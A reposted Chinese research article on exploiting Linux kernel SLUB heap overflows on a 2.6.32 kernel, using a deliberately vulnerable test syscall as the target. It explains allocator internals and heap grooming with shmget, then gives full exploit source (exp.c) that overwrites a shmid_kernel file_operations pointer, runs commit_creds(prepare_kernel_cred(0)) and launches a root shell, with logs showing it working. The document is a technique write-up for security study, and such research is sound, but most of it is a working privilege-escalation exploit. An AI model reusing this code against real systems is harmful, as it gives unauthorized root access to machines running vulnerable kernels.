[轉]Exploit Linux Kernel Slub Overflow
Exploit Linux Kernel Slub Overflow
By wzt一、前言最近几年关于kernel exploit的研究比较热门,常见的内核提权漏洞大致可以分为几类: 空指针引用,内核堆栈溢出,内核slab溢出,内核任意地址可写等等。空指针引用漏洞比较 容易exploit,典型的例子如sock_sendpage,udp_sendmsg。但是新内核的安全模块已经不 在允许userspace的code映射低内存了,所以NULL pointer dereference曾经一度只能dos, 不能提权。但是CVE-2010-4258这个内核任意地址可写漏洞,可以将null pointer dereference 的dos转化为提权。内核堆栈溢出相对userspace下的堆栈溢出比较好exploit。这里最难exploit 的是kernel的slab溢出。关于slab的溢出在05年的时候,UNF的qobaiashi就写过paper来阐述 slab的exploit方法。此后关于slab的溢出研究在都集中在2.4内核上,2.6下的slab溢出一 直没看到有相关的paper共享出来。在kernel 2.6.22的时候,kernel为了改善slab的性能,引入了slub的设计。针对slub 溢出的paper一直没有被共享直到Jon Oberheide发布了一个针对CAN协议的slub溢出的exploit, 这个应该是第一个公开的在2.6kernel上利用slab溢出的exploit,在ubuntu-10.04 2.6.32 的kernel上运行成功。Jon Oberheide在他的blog上也有篇关于分析slub溢出的paper,但是 这个exploit由于利用了CAN代码上的一些优势,并没有把slub溢出的精髓体现出来。在深入 研究了这个exploit的基础上,在加上我调试2.4内核slab溢出的经验,研究了一下slub的溢 出技术,在centos 5.4 + 2.6.32环境测试成功。二、示例代码:为了便于调试,我自己写了一个LKM模块,给内核新增了一个系统调用,用户可以通过 api接口来调用。--code------------------------------------------------------------------------- #define BUFFER_SIZE 80asmlinkage long kmalloc_overflow_test(char *addr, int size) {char *buff = NULL;buff = kmalloc(BUFFER_SIZE, GFP_KERNEL);if (!buff) {printk("kmalloc failed.\n");return -1;}printk("[+] Got object at 0x%p\n", buff);if (copy_from_user(buff, addr, size)) {printk("copy_from_user failed.\n");kfree(buff);return -1;}printk("%s\n", buff);return 0; } -------------------------------------------------------------------------------这段代码用kmalloc分配了80字节的空间,但没有检查size的大小,用户传递一个大于 80的size值将会产生内核堆溢出。三、SLUB结构slub大大简化了slab的数据结构,如从kmem_cache的3个关于slab的队列中去掉了完全 满的队列。每个slab的开始也没有了slab管理结构和管理空obj的kmem_bufctl_t数组。一个 采用slub管理的slab结构如下:一个slab的结构:+-------------------------------------------+| obj | obj | obj | ... |obj|+-------------------------------------------+ 根据上面的代码片段,在一个obj溢出后,脏数据会直接覆盖后面相邻的那个obj:|first|second|+-------------------------------------------+| obj | obj | obj | ... |obj|+-------------------------------------------+ |-----overflow--->|当有内核代码访问了被溢出的obj中的数据结构后,就会产生oops。四、SLUB溢出方法内核提权的最终目的就是触发某个kernel bug,然后控制内核路径到userspace事先布 置好的shellcode上。因此我们的大方向是在second obj中如果有一个函数指针能被脏数据 覆盖为userspace下的shellcode,并且用户又能调用这个函数指针,那么将会完成权限提升 的任务。还有一个要处理的问题就是如何保证在有bug的代码中用kmalloc分配的obj和我们 想要覆盖的函数指针所在的obj是相邻的。因为只能两者相邻,才能用溢出的数据覆盖函数 指针。我们先假设已经在kernel中找到了一个数据结构,正好满足了上面的需求,现在只要保 证两个obj是相邻的,就能完成指针覆盖。我们知道slab的一个特性是当一个cache中的所有 slab结构中的obj都用完的时候,内核将会重新分配一个slab,新分配的slab中的obj彼此都 是相邻的:Kmalloc()->__kmalloc()->__do_kmalloc()->__cache_alloc()->____cache_alloc() ->cache_alloc_refill()->cache_grow()->cache_init_objs() --code------------------------------------------------------------------------- static void cache_init_objs(struct kmem_cache *cachep, struct slab *slabp, unsigned long ctor_flags) {for (i = 0; i < cachep->num; i++) {void *objp = index_to_obj(cachep, slabp, i);slab_bufctl(slabp)[i] = i + 1;}slab_bufctl(slabp)[i - 1] = BUFCTL_END;slabp->free = 0; } -------------------------------------------------------------------------------前面在slab的结构中提到有个kmem_bufctl_t数组,里面的每个元素指向下一个空闲obj 的索引。在初始化一个新的slab时,每个kmem_bufctl_t元素都顺序的指向了与它相邻的下一 个obj,所以当内核重新分配一个slab结构时,我们从这个新的slab中分配的obj都是相邻的。那么SLUB是不是也满足这个特性呢?在仔细读过slub的代码后,发现它也满足这个特性:kmalloc()->slab_alloc()->__slab_alloc()->new_slab(): --code------------------------------------------------------------------------- static struct page *new_slab(struct kmem_cache *s, gfp_t flags, int node) {last = start;for_each_object(p, s, start, page->objects) {setup_object(s, page, last);set_freepointer(s, last, p);last = p;}setup_object(s, page, last);set_freepointer(s, last, NULL); } #define for_each_object(__p, __s, __addr, __objects) \for (__p = (__addr); __p < (__addr) + (__objects) * (__s)->size;\__p += (__s)->size) -------------------------------------------------------------------------------这段代码遍历一个page中的所有obj进行初始化:--code------------------------------------------------------------------------- static inline void set_freepointer(struct kmem_cache *s, void *object, void *fp) {*(void **)(object + s->offset) = fp; } -------------------------------------------------------------------------------s->offset保存的是一个slab中下一个空闲的obj偏移,set_freepointer函数将一个obj 的下一个空闲指针指向了下一个obj。所以slub也满足这个特性。现在我们只要在用户空间找到一种方法来不断消耗大小为96的slab,当现有的slab用完 的时候,新分配的slab中的obj就是连续相邻的。如何消耗slab,我们仍然可以用shmget系 统调用来处理,并且它用到的struct shmid_kernel结构中,就有我们想覆盖的函数指针!ipc/shm.c: --code------------------------------------------------------------------------- sys_shmget->ipcget->ipcget_new->newseg: static int newseg(struct ipc_namespace *ns, struct ipc_params *params) {struct shmid_kernel *shp;shp = ipc_rcu_alloc(sizeof(*shp));shp->shm_file = file; } void* ipc_rcu_alloc(int size) {out = kmalloc(HDRLEN_KMALLOC + size, GFP_KERNEL); } -------------------------------------------------------------------------------因此只要在用户空间不断调用shmget就会在内核中不断消耗大小为96的slab。示例中的 代码分配的是80个字节,它将会在96大小的slab中分配,这里还有一点需要注意:--code------------------------------------------------------------------------- out = kmalloc(HDRLEN_KMALLOC + size, GFP_KERNEL); -------------------------------------------------------------------------------用shmget分配的obj前段都有一个8个字节的站位空间,因此用shmget分配的shmid_kernel 结构将会如下:| ------ 96 --------------------| ---------------96 ------------|+---------------------------------------------------------------+| HDRLEN_KMALLOC | shmid_kernel | HDRLEN_KMALLOC | shmid_kernel |+---------------------------------------------------------------+ 在以后覆盖的时候需要跳过HDRLEN_KMALLOC个字节。内核中关于slab的信息,可以在/proc/slabinfo得到:------------------------------------------------------------------------------- [wzt@localhost exp]$ cat /proc/slabinfo |grep kmalloc-96 kmalloc-96 922 924 96 42 1 : tunables 0 0 0 : slabdata 22 22 0 -------------------------------------------------------------------------------922为当前活跃的obj数目,924是所有slab中obj的数目,因此我们在用户空间中可以解 析这个文件来得到当前系统中剩余的obj数目:--code------------------------------------------------------------------------- int check_slab(char *slab_name, int *active, int *total) {FILE *fp;char buff[1024], name[64];int active_num, total_num;fp = fopen("/proc/slabinfo", "r");if (!fp) {perror("fopen");return -1;}while (fgets(buff, 1024, fp) != NULL) {sscanf(buff, "%s %u %u", name, &active_num, &total_num);if (!strcmp(slab_name, name)) {*active = active_num;*total = total_num;return total_num - active_num;}}return -1; } -------------------------------------------------------------------------------现在写一段code来不断调用shmget,看看新分配的obj是不是连续的,为了调试方便, 我修改了sys_shmget的代码,加入了printk用于打印kmalloc后的地址。trigger程序的代码 片段如下:trigger.c: --code------------------------------------------------------------------------- ...shmids = malloc(sizeof(int) * (free_num + SLAB_NUM * 3));fprintf(stdout, "[+] smashing free slab ...\n");for (i = 0; i < free_num + SLAB_NUM; i++) {if (!check_slab(SLAB_NAME, &active_num, &total_num))break;shmids[i] = shmget(IPC_PRIVATE, 1024, IPC_CREAT);if (shmids[i] < 0) {perror("shmget");return -1;}}base = i;fprintf(stdout, "[+] smashing %d total: %d active: %d free: %d\n",i, total_num, active_num, total_num - active_num);fprintf(stdout, "[+] smashing adjacent slab ...\n");i = base;for (; i < base + SLAB_NUM; i++) {shmids[i] = shmget(IPC_PRIVATE, 1024, IPC_CREAT);if (shmids[i] < 0) {perror("shmget");return -1;}}check_slab(SLAB_NAME, &active_num, &total_num);fprintf(stdout, "[+] smashing %d total: %d active: %d free: %d\n",i, total_num, active_num, total_num - active_num); ...[wzt@localhost exp]$ ./exp [+] mmaping kernel code at 0x41414141 ok. [+] looking for symbols... [+] found commit_creds addr at 0xc0446524. [+] found prepare_kernel_cred addr at 0xc0446710. [+] setting up exploit payload... [+] checking slab total: 840 active: 836 free: 4 [+] smashing free slab ... [+] smashing 17 total: 840 active: 840 free: 0 [+] smashing adjacent slab ... [+] smashing 117 total: 966 active: 966 free: 0 -------------------------------------------------------------------------------可以看到dmesg后的信息,新的obj都是连续的。------------------------------------------------------------------------------- [wzt@localhost exp]$ dmesg|tail -n 10 [+] kmalloc at 0xdf1ea120 [+] kmalloc at 0xdf1ea180 [+] kmalloc at 0xdf1ea1e0 [+] kmalloc at 0xdf1ea240 [+] kmalloc at 0xdf1ea2a0 [+] kmalloc at 0xdf1ea300 [+] kmalloc at 0xdf1ea360 [+] kmalloc at 0xdf1ea3c0 [+] kmalloc at 0xdf1ea420 [+] kmalloc at 0xdf1ea480 -------------------------------------------------------------------------------ok,我们已经能获得一个连续的obj了,现在要利用slub的另一个特性:FIFO,先在这 些连续的obj中选取一个obj释放掉,然后马上触发有bug的代码,那么有bug的代码调用kmalloc 分配的obj地址就是刚才释放掉的那个obj,当溢出发生后,脏数据将会覆盖它相邻的下一个 obj。可以用如下代码来触发:trigger.c: --code------------------------------------------------------------------------- ...free_idx = i - 4;fprintf(stdout, "[+] free exist shmid with idx: %d\n", free_idx);if (shmctl(shmids[free_idx], IPC_RMID, NULL) == -1) {perror("shmctl");}fprintf(stdout, "[+] trigger kmalloc overflow in %s\n", SLAB_NAME);memset(buff, 0x41, sizeof(buff));kmalloc_overflow_test(buff, SLAB_SIZE + HDRLEN_KMALLOC + sizeof(shmid_kernel)); ... -------------------------------------------------------------------------------在这里我们将倒数第4个obj释放掉,执行后dmesg可以看到:------------------------------------------------------------------------------- [+] kmalloc at 0xd3decc00 [+] kmalloc at 0xd3decc60 [+] kmalloc at 0xd3deccc0 [+] kmalloc at 0xd3decd20 [+] kmalloc at 0xd3decd80 [-] kfree at 0xd3decc60 ............................... [+] Got object at 0xd3decc60 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA -------------------------------------------------------------------------------shmctl释放掉了0xd3decc60地址后,有bug的kmalloc分配的地址也是0xd3decc60。------------------------------------------------------------------------------- [wzt@localhost exp]$ tail /proc/sysvipc/shm0 8192250 0 1024 3148 0 0 500 500 500 500 0 0 1293098372 1094795585 1094795585 0 500 134522884 0 500 1094795585 1094795585 0 0 4294967295 252 0 1094795585 1094795585 0 1024 3148 0 0 500 500 500 500 0 0 12930983720 8323326 0 1024 3148 0 0 500 500 500 500 0 0 1293098372 -------------------------------------------------------------------------------可以看到与0xd3decc60相邻的下一个obj地址0xd3deccc0中的shmid_kernel结构已经被 覆盖了。现在我们可以来覆盖一个函数指针了,在shmid_kernel中正好有满足我们需要的函数指 针!kernel中处理ipc共享内存的一个数据结构struct shmid_kernel:--code------------------------------------------------------------------------- struct shmid_kernel /* private to the kernel */ { struct kern_ipc_perm shm_perm;struct file * shm_file;unsigned long shm_nattch;unsigned long shm_segsz; time_t shm_atim;time_t shm_dtim;time_t shm_ctim;pid_t shm_cprid;pid_t shm_lprid;struct user_struct *mlock_user; }; struct shmid_kernel {.shm_file = struct file {.f_op = struct file_operations = {.mmap = ATTACKER_ADDRESS}} } -------------------------------------------------------------------------------可以用shmat的系统调用来触发:--code------------------------------------------------------------------------- sys_shmat()->do_shmat(): long do_shmat(int shmid, char __user *shmaddr, int shmflg, ulong *raddr) {user_addr = do_mmap(file, addr, size, prot, flags, 0); } -------------------------------------------------------------------------------do_mmap将被覆盖为shellcode地址。ok,现在可以写一个完整的exp了,试试先:------------------------------------------------------------------------------- [wzt@localhost exp]$ ./exp 执行后系统挂掉了, 看下dmesg信息: [+] kmalloc at 0xd31752a0 [+] kmalloc at 0xd3175300 [+] kmalloc at 0xd3175360 [+] kmalloc at 0xd31753c0 [+] kmalloc at 0xd3175420 [+] kmalloc at 0xd3175480 [+] kmalloc at 0xd31754e0 [-] kfree at 0xd31753c0 ............................... [+] Got object at 0xd31753c0 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA BUG: unable to handle kernel NULL pointer dereference at (null) IP: [<c04fc352>] ipc_has_perm+0x46/0x61 *pde = 00000000 Oops: 0000 [#1] SMP last sysfs file: /sys/devices/pci0000:00/0000:00:05.0/local_cpus Modules linked in: sys ipv6 autofs4 sunrpc ip_tables ip6_tables x_tables dm_multipath video output sbs sbshc battery ac parport_pc lp parport snd_intel8x0 snd_ac97_codec ac97_bus snd_seq_dummy snd_seq_oss snd_seq_midi_event snd_seq snd_seq_device snd_pcm_oss snd_mixer_oss ide_cd_mod button cdrom snd_pcm rtc_cmos serio_raw rtc_core rtc_lib snd_timer 8139too floppy snd 8139cp soundcore i2c_piix4 mii snd_page_alloc i2c_core pcspkr dm_snapshot dm_zero dm_mirror dm_region_hash dm_log dm_mod ata_piix libata sd_mod scsi_mod ext3 jbd uhci_hcd ohci_hcd ehci_hcd [last unloaded: microcode]Pid: 3190, comm: exp Not tainted (2.6.32 #2) Bochs EIP: 0060:[<c04fc352>] EFLAGS: 00010246 CPU: 1 EIP is at ipc_has_perm+0x46/0x61 EAX: 00000000 EBX: 00000000 ECX: 00000000 EDX: d3175428 ESI: 000001f0 EDI: d33ebf30 EBP: 00000080 ESP: d33ebec8DS: 007b ES: 007b FS: 00d8 GS: 0033 SS: 0068 Process exp (pid: 3190, ti=d33eb000 task=dbe6ea30 task.ti=d33eb000) Stack:d3175428 d33ebed0 00000004 00000000 00000000 00000000 00000000 00000000 <0> 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 <0> 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 Call Trace:[<c04f9cf3>] ? security_ipc_permission+0xf/0x10[<c04f22e4>] ? do_shmat+0xdc/0x349[<c04057da>] ? sys_ipc+0xff/0x162[<c0402865>] ? syscall_call+0x7/0xb Code: 8c e4 82 c0 8b 92 d8 02 00 00 89 c7 8b 52 58 8b 72 04 31 d2 89 44 24 04 89 d0 f3 ab 8b 14 24 c6 44 24 08 04 8b 42 0c 89 44 24 10 <0f> b7 0b 8d 44 24 08 8b 53 04 50 89 f0 55 e8 75 fb ff ff 83 c4 EIP: [<c04fc352>] ipc_has_perm+0x46/0x61 SS:ESP 0068:d33ebec8 CR2: 0000000000000000 ---[ end trace 7bbab7e881899412 ]--- [wzt@localhost exp]$ -------------------------------------------------------------------------------看上去像selinux的问题,将它关闭掉再试试:------------------------------------------------------------------------------- [wzt@localhost exp]$ ./exp [+] mmaping kernel code at 0x41414141 ok. [+] looking for symbols... [+] found commit_creds addr at 0xc0446524. [+] found prepare_kernel_cred addr at 0xc0446710. [+] setting up exploit payload... [+] checking slab total: 798 active: 791 free: 7 [+] smashing free slab ... [+] smashing 5 total: 798 active: 798 free: 0 [+] smashing adjacent slab ... [+] smashing 105 total: 924 active: 924 free: 0 [+] free exist shmid with idx: 101 [+] trigger kmalloc overflow in kmalloc-96 [+] shmid_kernel size: 80 [+] kern_ipc_perm size: 44 [+] shmid: 3309669 [+] launching root shell! [root@localhost exp]# uname -a Linux localhost.localdomain 2.6.32 #2 SMP Thu Dec 23 14:59:36 CST 2010 i686 i686 i386 GNU/Linux [root@localhost exp]# -------------------------------------------------------------------------------成功了,终于得到可爱的root了! 五、源码:exp.c /** linux kernel slub overflow test exploit** by wzt <wzt.wzt@gmail.com>**/#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <limits.h> #include <inttypes.h> #include <sys/types.h> #include <sys/ipc.h> #include <sys/sem.h> #include <sys/shm.h> #include <sys/mman.h> #include <sys/stat.h>#include "syscalls.h"#define __NR_kmalloc_overflow_test 59#define KALLSYMS_NAME "/proc/kallsyms" #define SLAB_NAME "kmalloc-96" #define SLAB_SIZE 96 #define SLAB_NUM 100#define IPCMNI 32768 #define EIDRM 43 #define HDRLEN_KMALLOC 8struct list_head {struct list_head *next;struct list_head *prev; };struct super_block {struct list_head s_list;unsigned int s_dev;unsigned long s_blocksize;unsigned char s_blocksize_bits;unsigned char s_dirt;uint64_t s_maxbytes;void *s_type;void *s_op;void *dq_op;void *s_qcop;void *s_export_op;unsigned long s_flags; }super_block;struct mutex {unsigned int count;unsigned int wait_lock;struct list_head wait_list;void *owner; };struct inode {struct list_head i_hash;struct list_head i_list;struct list_head i_sb_list;struct list_head i_dentry_list;unsigned long i_ino;unsigned int i_count;unsigned int i_nlink;unsigned int i_uid;unsigned int i_gid;unsigned int i_rdev;uint64_t i_version;uint64_t i_size;unsigned int i_size_seqcount;long i_atime_tv_sec;long i_atime_tv_nsec;long i_mtime_tv_sec;long i_mtime_tv_nsec;long i_ctime_tv_sec;long i_ctime_tv_nsec;uint64_t i_blocks;unsigned int i_blkbits;unsigned short i_bytes;unsigned short i_mode;unsigned int i_lock;struct mutex i_mutex;unsigned int i_alloc_sem_activity;unsigned int i_alloc_sem_wait_lock;struct list_head i_alloc_sem_wait_list;void *i_op;void *i_fop;struct super_block *i_sb;void *i_flock;void *i_mapping;char i_data[84];void *i_dquot_1;void *i_dquot_2;struct list_head i_devices;void *i_pipe_union;unsigned int i_generation;unsigned int i_fsnotify_mask;void *i_fsnotify_mark_entries;struct list_head inotify_watches;struct mutex inotify_mutex; }inode;struct dentry {unsigned int d_count;unsigned int d_flags;unsigned int d_lock;int d_mounted;void *d_inode;struct list_head d_hash;void *d_parent; }dentry;struct file_operations {void *owner;void *llseek;void *read;void *write;void *aio_read;void *aio_write;void *readdir;void *poll;void *ioctl;void *unlocked_ioctl;void *compat_ioctl;void *mmap;void *open;void *flush;void *release;void *fsync;void *aio_fsync;void *fasync;void *lock;void *sendpage;void *get_unmapped_area;void *check_flags;void *flock;void *splice_write;void *splice_read;void *setlease; }op;struct vfsmount {struct list_head mnt_hash;void *mnt_parent;void *mnt_mountpoint;void *mnt_root;void *mnt_sb;struct list_head mnt_mounts;struct list_head mnt_child;int mnt_flags;const char *mnt_devname;struct list_head mnt_list;struct list_head mnt_expire;struct list_head mnt_share;struct list_head mnt_slave_list;struct list_head mnt_slave;struct vfsmount *mnt_master;struct mnt_namespace *mnt_ns;int mnt_id;int mnt_group_id;int mnt_count; }vfsmount;struct file {struct list_head fu_list;struct vfsmount *f_vfsmnt;struct dentry *f_dentry;void *f_op;unsigned int f_lock;unsigned long f_count; }file;struct kern_ipc_perm {unsigned int lock;int deleted;int id;unsigned int key;unsigned int uid;unsigned int gid;unsigned int cuid;unsigned int cgid;unsigned int mode;unsigned int seq;void *security; }; struct shmid_kernel {struct kern_ipc_perm shm_perm;struct file *shm_file;unsigned long shm_nattch;unsigned long shm_segsz;time_t shm_atim;time_t shm_dtim;time_t shm_ctim;unsigned int shm_cprid;unsigned int shm_lprid;void *mlock_user; }shmid_kernel;typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred); typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred); _commit_creds commit_creds; _prepare_kernel_cred prepare_kernel_cred;static inline my_syscall2(long, kmalloc_overflow_test, char *, addr, int, size);int __attribute__((regparm(3))) kernel_code(struct file *file, void *vma) {commit_creds(prepare_kernel_cred(0));return -1; }unsigned long find_symbol_by_proc(char *file_name, char *symbol_name) {FILE *s_fp;char buff[200];char *p = NULL, *p1 = NULL;unsigned long addr = 0;s_fp = fopen(file_name, "r");if (s_fp == NULL) {printf("open %s failed.\n", file_name);return 0;}while (fgets(buff, 200, s_fp) != NULL) {if (strstr(buff, symbol_name) != NULL) {buff[strlen(buff) - 1] = "\0";p = strchr(strchr(buff, " ") + 1, " ");++p;if (!p) {return 0;}if (!strcmp(p, symbol_name)) {p1 = strchr(buff, " ");*p1 = "\0";sscanf(buff, "%lx", &addr);//addr = strtoul(buff, NULL, 16);printf("[+] found %s addr at 0x%x.\n",symbol_name, addr);break;}}}fclose(s_fp);return addr; }int check_slab(char *slab_name, int *active, int *total) {FILE *fp;char buff[1024], name[64];int active_num, total_num;fp = fopen("/proc/slabinfo", "r");if (!fp) {perror("fopen");return -1;}while (fgets(buff, 1024, fp) != NULL) {sscanf(buff, "%s %u %u", name, &active_num, &total_num);if (!strcmp(slab_name, name)) {*active = active_num;*total = total_num;return total_num - active_num;}}return -1; }void clear_old_shm(void) {char *cmd = "for shmid in `cat /proc/sysvipc/shm | awk "{print $2}"`; ""do ipcrm -m $shmid > /dev/null 2>&1; done;";system(cmd); }void mmap_init(void) {void *payload;payload = mmap((void *)(0x41414141 & ~0xfff), 2 * 4096,PROT_READ | PROT_WRITE | PROT_EXEC,MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0);if ((long)payload == -1) {printf("[*] Failed to mmap() at target address.\n");return ;}printf("[+] mmaping kernel code at 0x41414141 ok.\n"); memcpy((void *)0x41414141, &kernel_code, 1024);}void setup(void) {printf("[+] looking for symbols...\n");commit_creds = (_commit_creds)find_symbol_by_proc(KALLSYMS_NAME, "commit_creds");if (!commit_creds) {printf("[-] not found commit_creds addr.\n");return ;}prepare_kernel_cred = (_prepare_kernel_cred)find_symbol_by_proc(KALLSYMS_NAME, "prepare_kernel_cred");if (!prepare_kernel_cred) {printf("[-] not found prepare_kernel_cred addr.\n");return ;}printf("[+] setting up exploit payload...\n");super_block.s_flags = 0;inode.i_size = 4096;inode.i_sb = &super_block;inode.inotify_watches.next = &inode.inotify_watches;inode.inotify_watches.prev = &inode.inotify_watches;inode.inotify_mutex.count = 1;dentry.d_count = 4096;dentry.d_flags = 4096;dentry.d_parent = NULL;dentry.d_inode = &inode;op.mmap = &kernel_code;op.get_unmapped_area = &kernel_code;vfsmount.mnt_flags = 0;vfsmount.mnt_count = 1;file.fu_list.prev = &file.fu_list;file.fu_list.next = &file.fu_list;file.f_dentry = &dentry;file.f_vfsmnt = &vfsmount;file.f_op = &op;shmid_kernel.shm_perm.key = IPC_PRIVATE;shmid_kernel.shm_perm.uid = 501;shmid_kernel.shm_perm.gid = 501;shmid_kernel.shm_perm.cuid = getuid();shmid_kernel.shm_perm.cgid = getgid();shmid_kernel.shm_perm.mode = -1;shmid_kernel.shm_file = &file; }int trigger(void) {int *shmids;int total_num, active_num, free_num;int base, free_idx, i;int ret;char buff[1024];clear_old_shm();free_num = check_slab(SLAB_NAME, &active_num, &total_num);fprintf(stdout, "[+] checking slab total: %d active: %d free: %d\n",total_num, active_num, total_num - active_num);shmids = malloc(sizeof(int) * (free_num + SLAB_NUM * 3));fprintf(stdout, "[+] smashing free slab ...\n");for (i = 0; i < free_num + SLAB_NUM; i++) {if (!check_slab(SLAB_NAME, &active_num, &total_num))break;shmids[i] = shmget(IPC_PRIVATE, 1024, IPC_CREAT);if (shmids[i] < 0) {perror("shmget");return -1;}}base = i;fprintf(stdout, "[+] smashing %d total: %d active: %d free: %d\n",i, total_num, active_num, total_num - active_num);fprintf(stdout, "[+] smashing adjacent slab ...\n");i = base;for (; i < base + SLAB_NUM; i++) {shmids[i] = shmget(IPC_PRIVATE, 1024, IPC_CREAT);if (shmids[i] < 0) {perror("shmget");return -1;}}check_slab(SLAB_NAME, &active_num, &total_num);fprintf(stdout, "[+] smashing %d total: %d active: %d free: %d\n",i, total_num, active_num, total_num - active_num);//free_idx = base + SLAB_NUM - 4;free_idx = i - 4;fprintf(stdout, "[+] free exist shmid with idx: %d\n", free_idx);if (shmctl(shmids[free_idx], IPC_RMID, NULL) == -1) {perror("shmctl");}sleep(1);fprintf(stdout, "[+] trigger kmalloc overflow in %s\n", SLAB_NAME);memset(buff, 0x41, sizeof(buff));shmid_kernel.shm_perm.seq = shmids[free_idx + 1] / IPCMNI;memcpy(&buff[SLAB_SIZE + HDRLEN_KMALLOC], &shmid_kernel, sizeof(shmid_kernel));//memcpy(&buff[SLAB_SIZE], &shmid_kernel, sizeof(shmid_kernel));printf("[+] shmid_kernel size: %d\n", sizeof(shmid_kernel));printf("[+] kern_ipc_perm size: %d\n", sizeof(struct kern_ipc_perm));printf("[+] shmid: %d\n", shmids[free_idx]);kmalloc_overflow_test(buff, SLAB_SIZE + HDRLEN_KMALLOC + sizeof(shmid_kernel));ret = (int)shmat(shmids[free_idx + 1], NULL, SHM_RDONLY);if (ret == -1 && errno != EIDRM) {setresuid(0, 0, 0);setresgid(0, 0, 0);printf("[+] launching root shell!\n");execl("/bin/bash", "/bin/bash", NULL);exit(0);}return 0; }int main(void) {mmap_init();setup();trigger(); }六、参考1、 Jon Oberheide - Linux Kernel CAN SLUB Overflow 2、 grip2 - Linux 内核溢出研究系列(2) - kmalloc 溢出技术 3、 qobaiashi - the sotry of exploiting kmalloc() overflows 4、 Ramon de Carvalho Valle - Linux Slab Allocator Bu_er Overow Vulnerabilities 5、 wzt - How to Exploit Linux Kernel NULL Pointer Dereference 6、 wzt - Linux kernel stack and heap exploitation-EOF-
转载于:https://www.cnblogs.com/bittorrent/p/3266308.html
[轉]Exploit Linux Kernel Slub Overflow相关推荐
- 在mtk移植个linux内核,移植 Linux Kernel 造成無法開機之解決方案以及除錯工具
一般在以下情況, 我們會進行移植 Linux Kernel 的動作. 1. 將新版 Linux Kernel 移植到全新 SoC 上 開發人員為 SoC 廠商(e.g. MTK, TI, Allwin ...
- Android/Linux Kernel 内存管理-入门笔记
Android/Linux Kernel上下層的記憶體管理機制,由於牽涉到基礎,核心與使用者空間的Framework,這系列的文章會分為幾個單元,依據筆者自己的時間安排,逐一分享出來,並希望對各位有所 ...
- Linux kernel log与调试
一.内核日志基本框架 1.内核日志通过printk函数实现的,它与用户空间对应的函数printf具有同样的作用, 内核会创建一个__log_buf环形缓冲区保存日志信息,定义在[kernel/prin ...
- CTF-PWN-babydriver (linux kernel pwn+UAF)
第一次接触linux kernel pwn,和传统的pwn题区别较大,需要比较多的前置知识,以及这种题的环境搭建.运行和调试相关的知识. 文章目录 Linux内核及内核模块 Linux内核(Kerne ...
- Linux kernel pwn notes(内核漏洞利用学习)
前言 对这段时间学习的 linux 内核中的一些简单的利用技术做一个记录,如有差错,请见谅. 相关的文件 https://gitee.com/hac425/kernel_ctf 相关引用已在文中进行了 ...
- linux 内核调试信息在哪里,Linux kernel debug技巧----开启DEBUG选项
Linux kernel debug技巧----开启DEBUG选项 作者:wowo 发布于:2016-11-1 19:39 分类:Linux应用技巧 kernel的source code中有很多使用p ...
- Linux Kernel Coding Style
2019独角兽企业重金招聘Python工程师标准>>> Linux kernel coding styleThis is a short document describing th ...
- Linux Kernel 5.14 arm64异常向量表解读-中断处理解读
★★★ 个人博客导读首页-点击此处 ★★★ . 说明: 在默认情况下,本文讲述的都是ARMV8-aarch64架构,linux kernel 5.14 文章目录 1.armv8-aarch64的异常向 ...
- [armv8-arch64]linux kernel 5.9的异常量表介绍(irq,fiq,sync,svc)
在entry.S中,定义了异常向量表,从代码中我们可以知道以下信息: 该表的基地址在vectors处(在开机的时候,会将其写入到vbar_el1中) 这个表以".align 11" ...
最新文章
- sbt配置nexus仓库
- basePath = request.getScheme()+://+request.getServerName()+:+r
- .Lucky后缀勒索病毒数据解密
- Spring官宣网传大漏洞,附解决方案!网传方案有隐患,建议加固!
- MyBatis 学习 - 注解
- Swift基础之方法实战
- mysql查看系统可用字符集_MySQL查看所有可用的字符集
- 根可达算法的根_我的JVM(六):GC的基础概念以及GC算法
- 193. 有效电话号码
- 学习笔记1:更改python下载源
- python连接mysql查询数据返回字典格式
- easyui onclickrow 中获取列名_获取Chrome浏览器历史浏览记录实例
- java 9消失_java9增强的自动关闭资源
- vue全家桶搭建前端页面注意细节及遇到的难题
- matlab向量自回归代码实现,结构向量自回归(SVAR)模型(二):操作步骤与结果解读...
- John Gaar “Slow Rollin” WA47 WA87 WA14麦克风
- 39岁阿里P9提前退休,资产1.5亿,北京4套房!职场人的离职悲喜各不相同
- QCC512X--QCC514X--QCC302X--QCC304X烧录工具
- 现象级吃鸡类游戏软件调研
- android点击按钮打开相册,打开相机的代码
热门文章
- ajax表单图片,js中使用ajax上传一个带有图片的表单数据
- java bufferedrandomaccessfile_java 读写操作大文件 BufferedReader和RandomAccessFile
- python如何处理表格_如何处理表格/列表/标题等?
- markdown 本地链接_记录笔记、markdown工具推荐
- ue4vr插件_UE4 含源码插件合集【转载】
- linux网络配置出现E325,Linux CentOS E325错误,如何解决?VI如何使用?
- 机器学习顶刊文献_“大数据+机器学习”在光催化制氢中的研究范式
- java三角形创建子类,A派生出子类B,B派生出子类C,并且在Java源代码中有如下声明: 1.A a0=new 2.A a1 =new 3.A a2=new 问以下哪个说法是正确的?()...
- 菜鸟教程php上传图片,PHP 文件上传
- 用有穷状态自动机描述计算机网络的传输层协议,计算机网络基椽—第八章(传输层)(全).ppt...